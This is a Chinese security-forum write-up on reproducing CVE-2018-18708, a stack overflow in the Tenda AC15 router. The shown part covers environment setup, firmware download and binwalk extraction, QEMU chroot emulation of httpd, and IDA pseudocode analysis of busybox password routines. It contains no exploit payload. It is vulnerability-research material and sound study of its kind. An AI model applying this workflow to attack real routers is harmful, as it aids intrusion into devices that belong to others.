-
-
[原创]Tenda 路由器栈溢出复现(CVE-2018-18708)详解
-
发表于: 2024-7-1 00:25 2191
-
Tenda 路由器栈溢出复现(CVE-2018-18708)
1.漏洞概述
本文,主要是iot新手的第一次漏洞复现,相较于前辈的参考文章多了一些解释,更易食用
文章参考[原创]Tenda 路由器栈溢出详细分析(CVE-2018-18708)-智能设备-看雪-安全社区|安全招聘|kanxue.com
cve-list中的报告
CVE - CVE-2018-18708 (mitre.org)
2.复现环境配置
1.配置网桥
iot@research:~$ sudo apt install docker.io [sudo] password for iot: E: Could not get lock /var/lib/dpkg/lock-frontend - open (11: Resource temporarily unavailable) E: Unable to acquire the dpkg frontend lock (/var/lib/dpkg/lock-frontend), is another process using it? iot@research:~$ sudo rm /var/lib/apt/lists/lock iot@research:~$ iot Command 'iot' not found, did you mean: command 'yot' from snap yaml-overlay-tool (0.6.4) command 'iyt' from deb python3-yt command 'jot' from deb athena-jot command 'hot' from deb hopenpgp-tools command 'dot' from deb graphviz command 'idt' from deb ncl-ncarg command 'iog' from deb iog command 'iat' from deb iat See 'snap info <snapname>' for additional versions. iot@research:~$ sudo rm /var/cache/apt/archives/lock iot@research:~$ iot Command 'iot' not found, did you mean: command 'yot' from snap yaml-overlay-tool (0.6.4) command 'idt' from deb ncl-ncarg command 'iog' from deb iog command 'dot' from deb graphviz command 'hot' from deb hopenpgp-tools command 'jot' from deb athena-jot command 'iat' from deb iat command 'iyt' from deb python3-yt See 'snap info <snapname>' for additional versions. iot@research:~$ sudo rm /var/lib/dpkg/lock* iot@research:~$ iot Command 'iot' not found, did you mean: command 'yot' from snap yaml-overlay-tool (0.6.4) command 'hot' from deb hopenpgp-tools command 'idt' from deb ncl-ncarg command 'iog' from deb iog command 'dot' from deb graphviz command 'jot' from deb athena-jot command 'iyt' from deb python3-yt command 'iat' from deb iat See 'snap info <snapname>' for additional versions. iot@research:~$ sudo rm /var/lib/dpkg/lock* rm: cannot remove '/var/lib/dpkg/lock*': No such file or directory iot@research:~$ sudo dpkg --configure -a iot@research:~$ sudo apt update Hit:1 http://mirrors.aliyun.com/ubuntu bionic InRelease Hit:2 http://mirrors.aliyun.com/ubuntu bionic-updates InRelease Hit:3 http://mirrors.aliyun.com/ubuntu bionic-backports InRelease Hit:4 http://mirrors.aliyun.com/ubuntu bionic-security InRelease Get:5 https://dl.google.com/linux/chrome/deb stable InRelease [1,825 B] Err:5 https://dl.google.com/linux/chrome/deb stable InRelease The following signatures couldn't be verified because the public key is not available: NO_PUBKEY E88979FB9B30ACF2 Reading package lists... Done Building dependency tree Reading state information... Done 175 packages can be upgraded. Run 'apt list --upgradable' to see them. W: An error occurred during the signature verification. The repository is not updated and the previous index files will be used. GPG error: https://dl.google.com/linux/chrome/deb stable InRelease: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY E88979FB9B30ACF2 W: Failed to fetch https://dl.google.com/linux/chrome/deb/dists/stable/InRelease The following signatures couldn't be verified because the public key is not available: NO_PUBKEY E88979FB9B30ACF2 W: Some index files failed to download. They have been ignored, or old ones used instead. iot@research:~$ sudo apt install docker.io Reading package lists... Done Building dependency tree Reading state information... Done docker.io is already the newest version (20.10.21-0ubuntu1~18.04.3). The following packages were automatically installed and are no longer required: fonts-liberation2 fonts-opensymbol gir1.2-gst-plugins-base-1.0 gir1.2-gstreamer-1.0 gir1.2-gudev-1.0 gir1.2-udisks-2.0 grilo-plugins-0.3-base gstreamer1.0-gtk3 libboost-date-time1.65.1 libboost-filesystem1.65.1 libboost-iostreams1.65.1 libboost-locale1.65.1 libcdr-0.1-1 libclucene-contribs1v5 libclucene-core1v5 libcmis-0.5-5v5 libcolamd2 libdazzle-1.0-0 libe-book-0.1-1 libedataserverui-1.2-2 libeot0 libepubgen-0.1-1 libetonyek-0.1-1 libexiv2-14 libfreerdp-client2-2 libfreerdp2-2 libgc1c2 libgee-0.8-2 libgexiv2-2 libgom-1.0-0 libgpgmepp6 libgpod-common libgpod4 liblangtag-common liblangtag1 liblirc-client0 libmediaart-2.0-0 libmspub-0.1-1 libodfgen-0.1-1 libqqwing2v5 libraw16 librevenge-0.0-0 libsgutils2-2 libsuitesparseconfig5 libvncclient1 libwinpr2-2 libxapian30 libxmlsec1-nss lp-solve media-player-info python3-mako python3-markupsafe syslinux syslinux-common syslinux-legacy usb-creator-common Use 'sudo apt autoremove' to remove them. 0 upgraded, 0 newly installed, 0 to remove and 175 not upgraded. iot@research:~$ sudo systemctl start docker iot@research:~$ sudo apt install net-tools Reading package lists... Done Building dependency tree Reading state information... Done net-tools is already the newest version (1.60+git20161116.90da8a0-1ubuntu1). The following packages were automatically installed and are no longer required: fonts-liberation2 fonts-opensymbol gir1.2-gst-plugins-base-1.0 gir1.2-gstreamer-1.0 gir1.2-gudev-1.0 gir1.2-udisks-2.0 grilo-plugins-0.3-base gstreamer1.0-gtk3 libboost-date-time1.65.1 libboost-filesystem1.65.1 libboost-iostreams1.65.1 libboost-locale1.65.1 libcdr-0.1-1 libclucene-contribs1v5 libclucene-core1v5 libcmis-0.5-5v5 libcolamd2 libdazzle-1.0-0 libe-book-0.1-1 libedataserverui-1.2-2 libeot0 libepubgen-0.1-1 libetonyek-0.1-1 libexiv2-14 libfreerdp-client2-2 libfreerdp2-2 libgc1c2 libgee-0.8-2 libgexiv2-2 libgom-1.0-0 libgpgmepp6 libgpod-common libgpod4 liblangtag-common liblangtag1 liblirc-client0 libmediaart-2.0-0 libmspub-0.1-1 libodfgen-0.1-1 libqqwing2v5 libraw16 librevenge-0.0-0 libsgutils2-2 libsuitesparseconfig5 libvncclient1 libwinpr2-2 libxapian30 libxmlsec1-nss lp-solve media-player-info python3-mako python3-markupsafe syslinux syslinux-common syslinux-legacy usb-creator-common Use 'sudo apt autoremove' to remove them. 0 upgraded, 0 newly installed, 0 to remove and 175 not upgraded. iot@research:~$ ifconfig br-b4e0cb0d607b: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500 inet 172.18.0.1 netmask 255.255.0.0 broadcast 172.18.255.255 ether 02:42:aa:4b:05:28 txqueuelen 0 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 0 bytes 0 (0.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 docker0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500 inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255 ether 02:42:45:2d:ef:d8 txqueuelen 0 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 0 bytes 0 (0.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.159.143 netmask 255.255.255.0 broadcast 192.168.159.255 inet6 fe80::f988:472f:cec2:9097 prefixlen 64 scopeid 0x20<link> ether 00:0c:29:a0:bd:a3 txqueuelen 1000 (Ethernet) RX packets 2165 bytes 2768147 (2.7 MB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 758 bytes 85725 (85.7 KB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10<host> loop txqueuelen 1000 (Local Loopback) RX packets 294 bytes 51008 (51.0 KB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 294 bytes 51008 (51.0 KB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 iot@research:~$ sudo apt-get update Hit:1 http://mirrors.aliyun.com/ubuntu bionic InRelease Hit:2 http://mirrors.aliyun.com/ubuntu bionic-updates InRelease Hit:3 http://mirrors.aliyun.com/ubuntu bionic-backports InRelease Hit:4 http://mirrors.aliyun.com/ubuntu bionic-security InRelease Get:5 https://dl.google.com/linux/chrome/deb stable InRelease [1,825 B] Err:5 https://dl.google.com/linux/chrome/deb stable InRelease The following signatures couldn't be verified because the public key is not available: NO_PUBKEY E88979FB9B30ACF2 Reading package lists... Done W: An error occurred during the signature verification. The repository is not updated and the previous index files will be used. GPG error: https://dl.google.com/linux/chrome/deb stable InRelease: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY E88979FB9B30ACF2 W: Failed to fetch https://dl.google.com/linux/chrome/deb/dists/stable/InRelease The following signatures couldn't be verified because the public key is not available: NO_PUBKEY E88979FB9B30ACF2 W: Some index files failed to download. They have been ignored, or old ones used instead. iot@research:~$ sudo apt-get install uml-utilities bridge-utils ifupdown Reading package lists... Done Building dependency tree Reading state information... Done bridge-utils is already the newest version (1.5-15ubuntu1). bridge-utils set to manually installed. uml-utilities is already the newest version (20070815.1-2build1). ifupdown is already the newest version (0.8.17ubuntu1.1). ifupdown set to manually installed. The following packages were automatically installed and are no longer required: fonts-liberation2 fonts-opensymbol gir1.2-gst-plugins-base-1.0 gir1.2-gstreamer-1.0 gir1.2-gudev-1.0 gir1.2-udisks-2.0 grilo-plugins-0.3-base gstreamer1.0-gtk3 libboost-date-time1.65.1 libboost-filesystem1.65.1 libboost-iostreams1.65.1 libboost-locale1.65.1 libcdr-0.1-1 libclucene-contribs1v5 libclucene-core1v5 libcmis-0.5-5v5 libcolamd2 libdazzle-1.0-0 libe-book-0.1-1 libedataserverui-1.2-2 libeot0 libepubgen-0.1-1 libetonyek-0.1-1 libexiv2-14 libfreerdp-client2-2 libfreerdp2-2 libgc1c2 libgee-0.8-2 libgexiv2-2 libgom-1.0-0 libgpgmepp6 libgpod-common libgpod4 liblangtag-common liblangtag1 liblirc-client0 libmediaart-2.0-0 libmspub-0.1-1 libodfgen-0.1-1 libqqwing2v5 libraw16 librevenge-0.0-0 libsgutils2-2 libsuitesparseconfig5 libvncclient1 libwinpr2-2 libxapian30 libxmlsec1-nss lp-solve media-player-info python3-mako python3-markupsafe syslinux syslinux-common syslinux-legacy usb-creator-common Use 'sudo apt autoremove' to remove them. 0 upgraded, 0 newly installed, 0 to remove and 175 not upgraded. iot@research:~$ sudo tunctl -t tap0 Set 'tap0' persistent and owned by uid 0 iot@research:~$ sudo ifconfig tap0 up iot@research:~$ sudo brctl addif docker0 tap0 iot@research:~$ ifconfig br-b4e0cb0d607b: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500 inet 172.18.0.1 netmask 255.255.0.0 broadcast 172.18.255.255 ether 02:42:aa:4b:05:28 txqueuelen 0 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 0 bytes 0 (0.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 docker0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500 inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255 ether 02:42:45:2d:ef:d8 txqueuelen 0 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 0 bytes 0 (0.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.159.143 netmask 255.255.255.0 broadcast 192.168.159.255 inet6 fe80::f988:472f:cec2:9097 prefixlen 64 scopeid 0x20<link> ether 00:0c:29:a0:bd:a3 txqueuelen 1000 (Ethernet) RX packets 25431 bytes 37589610 (37.5 MB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 1726 bytes 163260 (163.2 KB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10<host> loop txqueuelen 1000 (Local Loopback) RX packets 346 bytes 58962 (58.9 KB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 346 bytes 58962 (58.9 KB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 tap0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500 ether 5a:ed:4d:8a:c7:1c txqueuelen 1000 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 0 bytes 0 (0.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 iot@research:~$
2.拉取固件
https://down.tenda.com.cn/uploadfile/AC15/US_AC15V1.0BR_V15.03.05.19_multi_TD01.zip
3.binwalk和readelf分析固件
1.安装更新binwalk
1 | sudo apt - get install binwalk |
2.对固件进行提取和解压
1 2 | sudo apt - g0et install binwalk binwalk - Me US_AC15V1. 0BR_V15 . 03.05 . 19_multi_TD01 . bin |
3.进入提取的文件目录中
1 | cd _US_AC15V1. 0BR_V15 . 03.05 . 19_multi_TD01 . bin .extracted / |
4.进入到提取的 SquashFS 文件系统的根目录
1 | cd squashfs - root / |
5.解释一下SquashFS文件系统在嵌入式中特殊意义
嵌入式系统通常运行在资源受限的环境中,所以需要高效的存储利用和只读特性
优势
高压缩比:
嵌入式设备通常具有有限的存储空间
SquashFS通过高效的压缩算法(如gzip、LZMA、XZ等)
只读文件系统:
- 许多嵌入式系统要求文件系统稳定且不可修改SquashFS的只读特性确保了系统文件和应用程序在部署后不会被意外或恶意修改,
快速启动:
- 压缩的文件系统可以加速嵌入式设备的启动过程,因为较小的镜像文件在加载时需要更少的I/O操作尤其是在启动时需要加载大量数据的情况下,减少启动时间
一致性和完整性:
- SquashFS在生成镜像时会创建一个一致的快照,确保在设备运行过程中所使用的文件系统始终保持一致
应用
固件分发和升级:
- 在嵌入式设备中,固件通常以SquashFS镜像的形式分发。固件升级时,可以通过替换旧的SquashFS镜像来实现
只读根文件系统:
- 许多嵌入式设备将其根文件系统构建为SquashFS,以确保系统核心部分不会被修改
Live系统和恢复系统:
- 嵌入式系统中的Live系统或恢复系统(如启动时的故障恢复模式)可以使用SquashFS来减少存储需求并确保系统的一致性
嵌入式Linux发行版:
- 许多嵌入式Linux发行版(如OpenWrt、Yocto等)使用SquashFS作为默认的文件系统,以提供高效的存储和可靠的系统性能
示例
创建SquashFS镜像
首先,准备要打包的文件系统目录,例如/rootfs
,然后使用mksquashfs
工具创建SquashFS镜像:
1 | mksquashfs /rootfs /rootfs .img |
将镜像烧录到嵌入式设备
将生成的/rootfs.img
烧录到嵌入式设备的存储中,例如,通过TFTP或其他方法将其传输到设备上。
挂载SquashFS镜像
在设备启动时,通过启动脚本挂载SquashFS镜像:
1 | mount -t squashfs -o loop /path/to/rootfs .img /mnt/rootfs |
6.使用readelf查看文件结构
1 | readelf - h bin / busybox |
readelf
工具查看名为 busybox
的可执行文件的 ELF 文件头信息
readelf
是一个分析 ELF (Executable and Linkable Format) 格式文件的工具
-h
参数表示仅显示 ELF 文件的头部信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | ELF Header: Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 Class: ELF32 Data: 2 's complement, little endian Version: 1 (current) OS / ABI: UNIX - System V ABI Version: 0 Type : EXEC (Executable file ) Machine: ARM Version: 0x1 Entry point address: 0xbf80 Start of program headers: 52 (bytes into file ) Start of section headers: 380400 (bytes into file ) Flags: 0x5000002 , Version5 EABI, <unknown> Size of this header: 52 (bytes) Size of program headers: 32 (bytes) Number of program headers: 7 Size of section headers: 40 (bytes) Number of section headers: 24 |
ELF Header 解析
详细解读:
- Magic:
7f 45 4c 46
: ELF 魔数,用于标识文件为 ELF 格式- 之后的字节:确定 ELF 的类型和格式。
- Class: ELF32
- 文件是 32 位格式(ELF32)
- Data: 2's complement, little endian
- 数据编码方式是小端(Little Endian),使用二进制补码表示法。
- Version: 1 (current)
- ELF 头部版本是当前版本(1)
- OS/ABI: UNIX - System V
- 文件针对 UNIX System V ABI
- ABI Version: 0
- ABI 版本为 0
- Type: EXEC (Executable file)
- 文件类型是可执行文件(EXEC)
- Machine: ARM
- 文件针对 ARM 处理器架构
- Version: 0x1
- 这个字段的值是 1,通常表示 ELF 头部的版本
- Entry point address: 0xbf80
- 可执行文件的入口点地址是 0xbf80
- Start of program headers: 52 (bytes into file)
- 程序头表的起始位置是 52 字节处
- Start of section headers: 380400 (bytes into file)
- 节头表的起始位置是 380400 字节处
- Flags: 0x5000002, Version5 EABI, <unknown>
- 标志字段值是 0x5000002,其中包含 ARM EABI Version5
- 其中可能有一个未知标志
- Size of this header: 52 (bytes)
- ELF 头部的大小是 52 字节
- Size of program headers: 32 (bytes)
- 每个程序头的大小是 32 字节
- Number of program headers: 7
- 总共有 7 个程序头
- Size of section headers: 40 (bytes)
- 每个节头的大小是 40 字节
- Number of section headers: 24
- 总共有 24 个节头
总结:
==32 位的小端序 ARM 可执行文件,采用ida反编译==
4.运行漏洞文件
1.注意
这个时候要注意命令执行文件夹位置,一定要在前面提取出来的地方运行程序
1 | cd _US_AC15V1. 0BR_V15 . 03.05 . 19_multi_TD01 . bin .extracted / |
1 | cd squashfs - root / |
2.安装模拟环境的配置文件
下载虚拟化套件
1 | sudo apt install qemu - user - static |
复制到当前目录下
1 | cp $(which qemu - arm - static) . / |
3.虚拟环境中运行
1 | sudo chroot . / . / qemu - arm - static . / bin / httpd |
解释一下这里运行的指令:
1.启动一个chroot环境
chroot ./
: 这个命令改变了新进程的根目录为当前目录 (./
)
新的根目录下的文件和目录会对于chroot环境中的程序来说,就如同是在一个全新的系统中
2.运行arm架构的解释器
./qemu-arm-static,传递给chroot环境运行的第一个程序
3.传给 qemu-arm-static
的参数
即是运行了 httpd
程序
运行效果:
iot@research:~/Desktop/iot-cve/_US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/squashfs-root$ sudo chroot ./ ./qemu-arm-static ./bin/httpd chroot: failed to run command ‘./qemu-arm-static’: No such file or directory iot@research:~/Desktop/iot-cve/_US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/squashfs-root$ cp $(which qemu-arm-static) ./ iot@research:~/Desktop/iot-cve/_US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/squashfs-root$ sudo chroot ./ ./qemu-arm-static ./bin/httpd init_core_dump 1816: rlim_cur = 0, rlim_max = -1 init_core_dump 1825: open core dump success init_core_dump 1834: rlim_cur = 5242880, rlim_max = 5242880 Yes: ****** WeLoveLinux****** Welcome to ...
但是这里我们的程序进入后就没法运行了,要进入ida分析一下问题
4.报错处理
网上看到了这个报错
<img src="https://g1rffe.oss-cn-chengdu.aliyuncs.com/typora/image-20240527193820587.png" alt="image-20240527193820587" style="zoom:150%;" />
表示不存在/proc/sys/kernel/core_pattern
这样一个文件夹
接直接再创建一个这样的文件就行了
1 | mkdir - p . / proc / sys / kernel |
5.ida分析主要busybox文件
==(这个不是漏洞文件,只是分析一下固件的一些逻辑)==
1.找到文件
地址:
1 | / home / iot / Desktop / iot - cve / _US_AC15V1. 0BR_V15 . 03.05 . 19_multi_TD01 . bin .extracted / squashfs - root / bin |
(busybox运行iot固件的关键逻辑)
2.主要函数分析
1.符号表几乎没有
使用finger恢复没什么用,算了影响不大(就是想试试,八成是没啥用的)
2.密码登录函数
int __fastcall sub_512D4(_BYTE *a1, const char *a2, _DWORD *a3) { size_t v6; // r8 _BYTE *v7; // r1 void *v8; // r7 int v9; // r5 size_t i; // r7 int v11; // r10 const char *v12; // r0 int v13; // r9 char *v14; // r0 char *v15; // r3 int v16; // r7 unsigned int v17; // r3 int v18; // r2 bool v19; // zf const char *v21; // r1 if ( a2 && (v6 = strlen(a2), v6 > 5) ) { if ( sub_5125C(a2, *a3) ) { v21 = "similar to username"; } else { v7 = (_BYTE *)a3[4]; if ( *v7 && sub_5125C(a2, v7) ) { v21 = "similar to gecos"; } else { v8 = (void *)sub_53750(); v9 = sub_5125C(a2, v8); free(v8); if ( v9 ) { v21 = "similar to hostname"; } else { for ( i = 0; i < v6; ++i ) { v11 = (unsigned __int8)a2[i]; if ( (unsigned __int8)(v11 - 97) > 0x19u ) { if ( (unsigned __int8)(v11 - 65) > 0x19u ) { if ( (unsigned __int8)(v11 - 48) > 9u ) v9 |= 8u; else v9 |= 4u; } else { v9 |= 2u; } } else { v9 |= 1u; } v12 = a2; v13 = 0; do { v14 = strchr(v12, v11); v15 = v14; if ( !v14 ) break; v12 = v14 + 1; ++v13; } while ( v15[1] ); if ( v6 <= 2 * v13 ) { v21 = "too many similar characters"; goto LABEL_38; } } v16 = 4; v17 = 14; v18 = 1; do { v19 = (v18 & v9) == 0; v18 *= 2; if ( !v19 ) v17 -= 2; --v16; } while ( v16 ); if ( v6 < v17 ) { v21 = "too weak"; } else { if ( !a1 ) return 0; if ( !*a1 || !sub_5125C(a2, a1) ) return 0; v21 = "similar to old password"; } } } } } else { v21 = "too short"; } LABEL_38: printf("Bad password: %s\n", v21); return 1; }
1.分析密码的识别逻辑
int __fastcall sub_5125C(const char *a1, int a2) { int v4; // r5 _BYTE *v5; // r4 size_t v6; // r0 size_t v7; // r7 size_t i; // r3 _BYTE *v9; // r4 int v10; // r6 v4 = ((int (*)(void))sub_5121C)(); v5 = (_BYTE *)sub_D664(a1); // 备份输入的字符串,防止在登陆的时候被篡改 v6 = strlen(a1); v7 = v6; for ( i = v6; (--i & 0x80000000) == 0; *v5++ = a1[i] ) ; v9 = &v5[-v6]; v10 = sub_5121C(v9, a2); // 验证密码输入是否正确,这里还忽略的大小写的检查 memset(v9, 0, v7); free(v9); // 释放缓存 return v10 | v4; }
char *__fastcall sub_D664(const char *a1) { char *result; // r0 if ( !a1 ) return 0; result = strdup(a1); if ( !result ) sub_D03C("out of memory"); // 错误处理函数 return result; }
void __noreturn sub_D03C(int a1, ...) { int v1; // r0 va_list varg_r1; // [sp+14h] [bp-Ch] BYREF va_start(varg_r1, a1); // 这里再格式化输入,可能是输入错误后格式化传入的密码数据 v1 = sub_CE78(a1, varg_r1); sub_D118(v1); //结束进程 }
2.同时识别主机的名字,没识别到就设置为"?"
int sub_53750() { char *nodename; // r0 struct utsname v2; // [sp+0h] [bp-190h] BYREF uname(&v2); if ( v2.nodename[0] ) nodename = v2.nodename; else nodename = (char *)"?"; return sub_D690(nodename, 65); }
void *__fastcall sub_D690(unsigned __int8 *a1, int a2) { unsigned __int8 *v2; // r2 int i; // r3 size_t v6; // r4 _BYTE *v7; // r0 v2 = a1; for ( i = a2; i; --i ) { if ( !*v2++ ) break; } v6 = a2 - i; v7 = (_BYTE *)sub_D5E0(a2 - i + 1); v7[v6] = 0; return memcpy(v7, a1, v6); }
3.整体就是一些输入的安全性判定
没什么意思,但是整理一下:
密码长度检查:
1if
( a2 && (v6 =
strlen
(a2), v6 > 5) )
检查密码长度是否大于 5 个字符
密码与用户名相似性检查:
1234if
( sub_5125C(a2, *a3) )
{
v21 =
"similar to username"
;
}
使用
sub_5125C
函数检查密码是否与用户名相似密码与 gecos 字段相似性检查:
1234if
( *v7 && sub_5125C(a2, (
int
)v7) )
{
v21 =
"similar to gecos"
;
}
使用
sub_5125C
函数检查密码是否与 gecos 字段(一般存储用户的个人信息)相似密码与主机名相似性检查:
1234567v8 = (
void
*)sub_53750();
v9 = sub_5125C(a2, (
int
)v8);
free
(v8);
if
( v9 )
{
v21 =
"similar to hostname"
;
}
使用
sub_5125C
函数检查密码是否与主机名相似密码字符组成检查:
12345678910111213141516171819202122for
( i = 0; i < v6; ++i )
{
v11 = (unsigned
__int8
)a2[i];
if
( (unsigned
__int8
)(v11 - 97) > 0x19u )
{
if
( (unsigned
__int8
)(v11 - 65) > 0x19u )
{
if
( (unsigned
__int8
)(v11 - 48) > 9u )
v9 |= 8u;
else
v9 |= 4u;
}
else
{
v9 |= 2u;
}
}
else
{
v9 |= 1u;
}
}
通过遍历密码中的每个字符,检查密码是否包含小写字母、大写字母和数字,并将结果存储在
v9
中相似字符检查:
123456789101112131415do
{
v14 =
strchr
(v12, v11);
v15 = v14;
if
( !v14 )
break
;
v12 = v14 + 1;
++v13;
}
while
( v15[1] );
if
( v6 <= 2 * v13 )
{
v21 =
"too many similar characters"
;
goto
LABEL_38;
}
检查密码中是否有过多的重复字符
密码强度检查:
12345678910111213141516v16 = 4;
v17 = 14;
v18 = 1;
do
{
v19 = (v18 & v9) == 0;
v18 *= 2;
if
( !v19 )
v17 -= 2;
--v16;
}
while
( v16 );
if
( v6 < v17 )
{
v21 =
"too weak"
;
}
根据
v9
的值计算密码的强度,并检查密码是否足够强与旧密码相似性检查:
123if
( !*a1 || !sub_5125C(a2, (
int
)a1) )
return
0;
v21 =
"similar to old password"
;
使用
sub_5125C
函数检查密码是否与旧密码相似
3.修改密码的逻辑
// 开始函数 int __fastcall sub_F468(int a1, int a2) { // 初始化一些变量 char v3; // r6 int v4; // r7 __uid_t v5; // r0 const char *v6; // r5 __uid_t v7; // r10 // 获取系统信息 openlog((const char *)dword_6DECC, 0, 32); // 解析命令行参数 v3 = sub_4D454(a2, "a:lud", &v30); // 取得进程的用户ID v5 = getuid(); v7 = v5; // 如果当前用户是 root 或者 用户没有添加参数,执行 sub_C3F8 函数 if ( (v3 & 0xE) != 0 && (v5 || !*(_DWORD *)(a2 + 4 * v4)) ) sub_C3F8(); // ... // 执行了一系列操作,包括检查和更改用户密码 // ... // 如果成功更改了密码 if ( v22 ) { // 设置资源使用限制 setrlimit64(1, v29); // 更改信号处理方式 sub_5397C(14, (__sighandler_t)1); // 设置文件权限创建掩码 umask(0x3Fu); // 清除屏幕 sub_DA3C(0); // 更新 /etc/passwd 文件 if ( sub_54298("/etc/passwd", v10, v22) < 0 ) sub_D03C((int)"can't update password file %s", "/etc/passwd"); // 记录更改密码的操作 sub_4E414("Password for %s changed by %s", v10, v11); } else if ( (v3 & 2) != 0 ) { if ( *v14 == 33 ) goto LABEL_48; sub_D03C((int)"password for %s is already %slocked", v10); } // 如果没有更改密码,打印提示消息 else sub_D03C((int)"password for %s is not changed", v10); return 0; }
4.系统维护的root密码验证
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 | int __fastcall sub_F804( int a1, int a2, int a3) { / / 声明一些局部变量 int v4; / / r6 int v5; / / r0 struct passwd * v6; / / r4 char * v7; / / r0 char * v8; / / r5 char * v10; / / r6 int v11; / / r7 size_t v12; / / r0 char * pw_shell; / / r0 int v14[ 7 ]; / / [sp + 4h ] [bp - 1Ch ] BYREF / / 一系列初始化操作 v14[ 1 ] = a3; dword_6CCF8 = 3 ; v14[ 0 ] = 0 ; / / 获取系统信息 openlog((const char * )dword_6DECC, 0 , 32 ); / / 解析环境变量 dword_6DEF4 = ( int ) "t+" ; sub_4D454(a2, "t:" , v14); v4 = optind; if ( * (_DWORD * )(a2 + 4 * optind) ) { / / 关闭文件描述符 0 , 1 close( 0 ); close( 1 ); / / 从文件中读取数据 v5 = sub_D728( * (_DWORD * )(a2 + 4 * v4), 2 ); / / 创建复制文件描述符 dup(v5); / / 关闭文件描述符 2 close( 2 ); / / 创建一个新的文件描述符,复制已存在的文件描述符 dup( 0 ); } if ( !isatty( 0 ) || !isatty( 1 ) || !isatty( 2 ) ) { / / 如果任一文件描述符( 0 、 1 、 2 )不是终端设备,则显示错误信息 dword_6CCF8 = 2 ; sub_D03C(( int ) "not a tty" ); } sub_50BA4(); / / 获取root用户的信息 v6 = getpwuid( 0 ); if ( !v6 ) / / 如果没有找到root用户,显示错误信息 sub_D03C(( int ) "no password entry for root" ); while ( 1 ) { / / 询问输入root用户的密码,接收输入的密码 v7 = (char * )sub_4BFDC( 0 , v14[ 0 ], "Give root password for system maintenance\n(or type Control-D for normal startup):" ); v8 = v7; if ( !v7 || ! * v7 ) break ; / / 验证输入的密码是否正确 v10 = (char * )sub_52C4C(v7, v6 - >pw_passwd); v11 = strcmp(v10, v6 - >pw_passwd); / / 释放动态分配的内存 free(v10); if ( !v11 ) { v12 = strlen(v8); / / 清空输入的密码字符串 memset(v8, 0 , v12); / / 如果密码正确,记录系统维护模式 sub_4E414( "System Maintenance Mode" ); / / 获取环境变量 SUSHELL 或者 sushell 的值,如果这两个都没有定义,就使用 root 的默认 shell pw_shell = getenv( "SUSHELL" ); if ( !pw_shell ) { pw_shell = getenv( "sushell" ); if ( !pw_shell ) pw_shell = v6 - >pw_shell; } / / 启动一个新进程运行 shell sub_53658(pw_shell, 1 , 0 , 0 ); } else { / / 如果密码错误,等待 3 秒后再次提示输入密码 sub_4C188( 3 ); / / 记录密码错误信息 sub_4E414( "Login incorrect" ); } } / / 正常启动系统 sub_4E414( "Normal startup" ); / / 返回 0 表示函数执行完毕 return 0 ; } |
5.密码应该存储在/etc/passwd
看看有没有提取时候对他进行混淆,很遗憾没有找到,难道没有?
只找到这个地方对文件中的密码进行检索修改
